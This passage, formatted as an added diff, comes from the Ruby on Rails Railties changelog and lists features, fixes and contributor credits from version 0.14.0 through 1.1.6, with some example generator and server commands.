+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
+
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+ config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. *Tim Lucas*
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
+
+* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
+
+* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
+
+ ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
+
+* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
+ #!/usr/bin/env /path/to/my/app/script/runner
+ # Example: just start using your models as if you are in script/console
+ Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs. #6259 *obrie*
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
+
+* session_migration generator adds an index on updated_at. #6207 *grg*
+
+* script/server creates the tmp/pids directory. #6204 *jonathan*
+
+* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+ documented in initializer.rb, the workaround is:
+
+ config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
+
+ References #6031. *Nicholas Seckar*
+
+* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
+
+* Formally Deprecate the old rake tasks. *Michael Koziarski*
+
+* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
+
+* Add Dependencies.load_once_paths. *Nicholas Seckar*
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
+
+* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
+
+ ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+ ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
+
+* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
+
+* Add autoload_paths support to Initializer. *Nicholas Seckar*
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
+
+* Clarify usage of script/plugin source. Closes #5344. *James Adam*
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
+
+* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
+
+* Ensure the logger is initialized. #5629 *mike@clarkware.com*
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
+
+ spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
+ spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
+ spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+ spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+ spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+ Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
+
+* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
+
+ irb(#<TopController:0x40822a68>):002:0> show_source_list
+ 0001 class TopController < ApplicationController
+ 0002 def show
+ 0003-> breakpoint
+ 0004 end
+ 0005
+ 0006 def index
+ 0007 end
+ 0008
+ => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+ irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ app/controllers/top_controller.rb:3:in `show'
+ => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
+
+* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
+
+* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
+
+* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
+
+* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
+
+* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
+
+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
+
+* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
+
+* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
+
+* Add observer generator. Closes #5167. *François Beausoleil*
+
+* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
+
+* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
+
+* Distinguish the spawners for different processes *David Heinemeier Hansson*
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
+
+
+## 1.1.6 (August 10th, 2006) ##
+
+* Additional security patch
+
+
+## 1.1.5 (August 8th, 2006) ##
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 *Alisdair McDiarmid*
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
+
+* Includes critical security patch
+
+
+## 1.1.4 (June 29th, 2006) ##
+
+* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. *headius@headius.com*
+
+* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
+
+
+## 1.1.3 (June 27th, 2006) ##
+
+* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
+
+
+## 1.1.2 (April 9th, 2006) ##
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. *Alisdair McDiarmid*
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
+
+* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) *David Heinemeier Hansson*
+
+* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem *David Heinemeier Hansson*
+
+
+## 1.1.1 (April 6th, 2006) ##
+
+* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) *ruben.nine@gmail.com*
+
+* Update to Prototype 1.5.0_rc0 *Sam Stephenson*
+
+* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 *ryan.raaum@gmail.com*
+
+* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html *David Heinemeier Hansson*
+
+* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 *augustz@augustz.com*
+
+* Fixed that rails --version should have the return code of 0 (success) #4560 *blair@orcaware.com*
+
+* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. *Nicholas Seckar*
+
+* Fixed that spawner should daemonize if running in repeat mode *David Heinemeier Hansson*
+
+* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release *David Heinemeier Hansson*
+
+* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
+
+* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 *starr@starrnhorne.com*
+
+* Make Rails::VERSION implicitly loadable #4491. *Nicholas Seckar*
+
+* Fixed rake rails:freeze:gems #4518 *benji@silverinsanity.com*
+
+* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with *David Heinemeier Hansson*
+
+* Added gem binding of apps generated through the rails command to the gems of they were generated with *Nicholas Seckar*
+
+* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf *David Heinemeier Hansson*
+
+* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf *David Heinemeier Hansson*
+
+* Avoid passing escapeHTML non-string in Rails' info controller *Nicholas Seckar*
+
+
+## 1.1.0 (March 27th, 2006) ##
+
+* Allow db:fixtures:load to load a subset of the applications fixtures. *Chad Fowler*
+
+ ex.
+
+ rake db:fixtures:load FIXTURES=customers,plans
+
+* Update to Prototype 1.5.0_pre1 *Sam Stephenson*
+
+* Update to script.aculo.us 1.6 *Thomas Fuchs*
+
+* Add an integration_test generator *Jamis Buck*
+
+* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. *Marcel Molina Jr.*
+
+ ex.
+
+ >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
+ <option value="1">a</option>
+ <option value="2">b</option>
+ <option value="3">c</option>
+ => nil
+
+* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. *Rick Olson*
+
+* Reject Ruby 1.8.3 when loading Rails; extract version checking code. *Chad Fowler*
+
+* Remove explicit loading of RailsInfo and RailsInfoController. *Nicholas Seckar*
+
+* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. *Nicholas Seckar*
+
+* Extend load path with Railties' builtin directory to make adding support code easy. *Nicholas Seckar*
+
+* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. *Nicholas Seckar*
+
+* Fixed rails:freeze:gems for Windows #3274 *paul@paulbutcher.com*
+
+* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 *guy.naor@famundo.com*
+
+* Add verification to generated scaffolds, don't allow get for unsafe actions *Michael Koziarski*
+
+* Don't replace application.js in public/javascripts if it already exists *Cody Fauser*
+
+* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. *Nicholas Seckar*
+
+* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. *rob.rasmussen@gmail.com*
+
+* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. *Chad Fowler*
+
+* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions *Rick Olson*
+
+* Added tracking of database and framework versions in script/about #4088 *charles.gerungan@gmail.com/Rick Olson*
+
+* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults *David Heinemeier Hansson*
+
+* Added socket cleanup for lighttpd, both before and after *David Heinemeier Hansson*
+
+* Added automatic creation of tmp/ when running script/server *David Heinemeier Hansson*
+
+* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process *David Heinemeier Hansson*
+
+* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 *esad@esse.at*
+
+* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 *David Heinemeier Hansson*
+
+* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 *Thijs van der Vossen*
+
+* Added test:uncommitted to test changes since last checkin to Subversion #4035 *technomancy@gmail.com*
+
+* Help script/about print the correct svn revision when in a non-English locale. #4026 *babie7a0@ybb.ne.jp*
+
+* Add 'app' accessor to script/console as an instance of Integration::Session *Jamis Buck*
+
+* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. *Jeremy Kemper*
+
+* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. *Jeremy Kemper*
+
+* Add integration test support to app generation and testing *Jamis Buck*
+
+* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though *David Heinemeier Hansson*
+
+* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! *David Heinemeier Hansson*
+
+* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 *ror@andreas-s.net*
+
+* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
+
+ m.template "stuff.config" , "config/stuff.config" , :collision => :skip
+ m.template "auto-stamping", "config/generator.log", :collision => :force
+
+* Added more information to script/plugin's doings to ease debugging #3755 *Rick Olson*
+
+* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets *David Heinemeier Hansson*
+
+* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration *David Heinemeier Hansson*
+
+* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) *David Heinemeier Hansson*
+
+* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton *David Heinemeier Hansson*
+
+* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration *David Heinemeier Hansson*
+
+* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration *David Heinemeier Hansson*
+
+* Allow script/server -c /path/to/lighttpd.conf *Jeremy Kemper*
+
+* Remove hardcoded path to reaper script in script/server *Jeremy Kemper*
+
+* Update script.aculo.us to V1.5.3 *Thomas Fuchs*
+
+* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things *David Heinemeier Hansson*
+
+* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. *David Heinemeier Hansson*
+
+* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. *Michael Koziarski*
+
+* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. *David Heinemeier Hansson*
+
+* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 *tom@craz8.com*
+
+* Fixed documentation tasks to work with Rake 0.7.0 #3563 *kazuhiko@fdiary.net*
+
+* Update to Prototype 1.5.0_pre0 *Sam Stephenson*
+
+* Sort the list of plugins so we load in a consistent order *Rick Olson*
+
+* Show usage when script/plugin is called without arguments *tom@craz8.com*
+
+* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 *anna@wota.jp*
+
+* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 *jeremy@planetargon.com Marcel Molina Jr.*
+
+* Fix typo in mailer generator USAGE. #3458 *chriztian.steinmeier@gmail.com*
+
+* Ignore version mismatch between pg_dump and the database server. #3457 *Simon Stapleton*
+
+* Reap FCGI processes after lighttpd exits. *Sam Stephenson*
+
+* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. *rails@bencurtis.com, Marcel Molina Jr.*
+
+## 1.0.0 (December 13th, 2005) ##
+
+* Update instructions on how to find and install generators. #3172. *Chad Fowler*
+
+* Generator looks in vendor/generators also. *Chad Fowler*
+
+* Generator copies files in binary mode. #3156 *minimudboy@gmail.com*
+
+* Add builtin/ to the gemspec. Closes #3047. *Nicholas Seckar, Sam Stephenson*
+
+* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. *Marcel Molina Jr.*
+
+* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. *Sam Stephenson*
+
+* Make load_fixtures include csv fixtures. #3053. *me@mdaines.com*
+
+* Fix freeze_gems so that the latest rails version is dumped by default. *Nicholas Seckar*
+
+* script/plugin: handle root paths and plugin names which contain spaces. #2995 *justin@aspect.net*
+
+* Model generator: correct relative path to test_helper in unit test. *Jeremy Kemper*
+
+* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. *Blair Zajac*
+
+* Have the lighttpd server script report the actual ip to which the server is bound. #2903. *Adam*
+
+* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. *James Adam*
+
+* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. *anonymous*
+
+* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 *Dreamer3*
+
+* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 *Rick Olson*
+
+* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com>
+
+* Windows: eliminate the socket option in database.yml. #2924 *Wayne Vucenic <waynev@gmail.com>*
+
+* Eliminate nil from newly generated logfiles. #2927 *Blair Zajac <blair@orcaware.com>*
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 *Chad Fowler, Rick Olson*
+
+* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 *Rick Olson*
+
+* Make sure that legacy db tasks also reference :database for SQLite #2830 *kazuhiko@fdiary.net*
+
+* Pass __FILE__ when evaluating plugins' init.rb. #2817 *James Adam*
+
+* Better svn status matching for generators. #2814 *François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>*
+
+* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities *David Heinemeier Hansson*
+
+* Don't detach or fork for script/server tailing *Nicholas Seckar*
+
+* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path *David Heinemeier Hansson*
+
+* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
+
+* Correct versioning in :freeze_gems Rake task. #2778 *Jakob Skjerning, Jeremy Kemper*
+
+* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. *Sam Stephenson*
+
+
+## 0.14.3 (RC4) (November 7th, 2005) ##
+
+## Add 'add_new_scripts' rake task for adding new rails scripts to script/ Jamis Buck ##
+
+* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 *anonymous*
+
+* Copy lighttpd.conf when it is first needed, instead of on app creation *Jamis Buck*
+
+* Use require_library_or_gem 'fcgi' in script/server *Sam Stephenson*
+
+* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' *David Heinemeier Hansson*
+
+* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. *Jeremy Kemper*
+
+* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. *Jeremy Kemper*
+
+* Refactor load_plugin from load_plugins. #2757 *alex.r.moon@gmail.com*
+
+* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info *Sam Stephenson*
+
+* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. *Chad Fowler*
+
+* Added script/about to display formatted Rails::Info output *Sam Stephenson*
+
+* Added Rails::Info to catalog assorted information about a Rails application's environment *Sam Stephenson*
+
+* Tail the logfile when running script/server lighttpd in the foreground *Sam Stephenson*
+
+* Try to guess the port number from config/lighttpd.conf in script/server lighttpd *Sam Stephenson*
+
+* Don't reap spawn-fcgi. #2727 *matthew@walker.wattle.id.au*
+
+* Reaper knows how to find processes even if the dispatch path is very long. #2711 *matthew@walker.wattle.id.au*
+
+* Make fcgi handler respond to TERM signals with an explicit exit *Jamis Buck*
+
+* Added demonstration of fixture use to the test case generated by the model generator *David Heinemeier Hansson*
+
+* If specified, pass PostgreSQL client character encoding to createdb. #2703 *Kazuhiko <kazuhiko@fdiary.net>*
+
+* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. *Jeremy Kemper*
+
+* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. *Chad Fowler, Jeremy Kemper*
+
+* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) *Thomas Fuchs*
+
+* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 *Rick Olson*
+
+* Comment database.yml and include PostgreSQL and SQLite examples. *Jeremy Kemper*
+
+* Improve script/plugin on Windows. #2646 *Chad Fowler*
+
+* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 *bellis@deepthought.org*
+
+* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. *Anatol Pomozov <anatol.pomozov@gmail.com>*
+
+* Add task to generate rdoc for all installed plugins. *Marcel Molina Jr.*
+
+* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs*
+
+* Add default Mac + DarwinPorts MySQL socket locations to the app generator. *Jeremy Kemper*
+
+* Migrations may be destroyed: script/destroy migration foo. #2635 *Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper*
+
+* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator *David Heinemeier Hansson*
+
+* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service *David Heinemeier Hansson*
+
+* Added script/plugin to manage plugins (install, remove, list, etc) *Ryan Tomayko*
+
+* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) *David Heinemeier Hansson*
+
+* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) *David Heinemeier Hansson*
+
+* Fixed scaffold generator when started with only 1 parameter #2609 *self@mattmower.com*
+
+* rake should run functional tests even if the unit tests have failures *Jim Weirich*
+
+* Back off cleanpath to be symlink friendly. Closes #2533 *Nicholas Seckar*
+
+* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 *Blair Zajac*
+
+
+## 0.14.2 (RC3) (October 26th, 2005) ##
+
+* Constants set in the development/test/production environment file are set in Object
+
+* Scaffold generator pays attention to the controller name. #2562 *self@mattmower.com*
+
+* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 *Rick Olson*
+
+
+## 0.14.1 (RC2) (October 19th, 2005) ##
+
+* Don't clean RAILS_ROOT on windows
+
+* Remove trailing '/' from RAILS_ROOT *Nicholas Seckar*
+
+* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
+
+
+## 0.14.0 (RC1) (October 16th, 2005) ##
+
+* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators *Tobias Lütke*
+
+* Fix rake dev and related commands *Nicholas Seckar*
+
+* The rails command tries to deduce your MySQL socket by running `mysql_config
+ --socket`. If it fails, default to /path/to/your/mysql.sock
+
+* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". *Florian Weber*
+
+* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
+
+* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. *Tobias Lütke*
+
+* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. *Nicholas Seckar*
+
+* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. *Florian Weber*
+
+* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby *Sam Stephenson*
+
+* Make webrick work with session(:off)
+
+* Add --version, -v option to the Rails command. Closes #1840. *stancell*
+
+* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files *Thomas Fuchs*
+
+* Make the generator skip a file if it already exists and is identical to the new file.
+
+* Add experimental plugin support #2335
+
+* Made Rakefile aware of new .js files in script.aculo.us *Thomas Fuchs*
+
+* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 *kazuhiko@fdiary.net*
+
+* Clearly label functional and unit tests in rake stats output. #2297 *lasse.koskela@gmail.com*
+
+* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 *Chad Fowler*
+
+* Added prevention of duplicate migrations from the generator #2240 *François Beausoleil*
+
+* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
+
+* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
+
+* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
+
+* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 *Rick Olson*
+
+* Fixed script/profiler for Ruby 1.8.2 #1863 *Rick Olson*
+
+* Fixed clone_structure_to_test task for SQLite #1864 *jon@burningbush.us*
+
+* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 *ask@develooper.com*
+
+* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 *Kevin Clark*
+
+* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 *wejn@box.cz*
+
+* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
+
+* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
+
+* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
+
+* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
+
+* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 *Chad Fowler*
+
+* Corrected project-local generator location in scripts.rb #2010 *Michael Schuerig*
+
+* Don't require the environment just to clear the logs #2093 *Scott Barron*
+
+* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
+
+* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
+
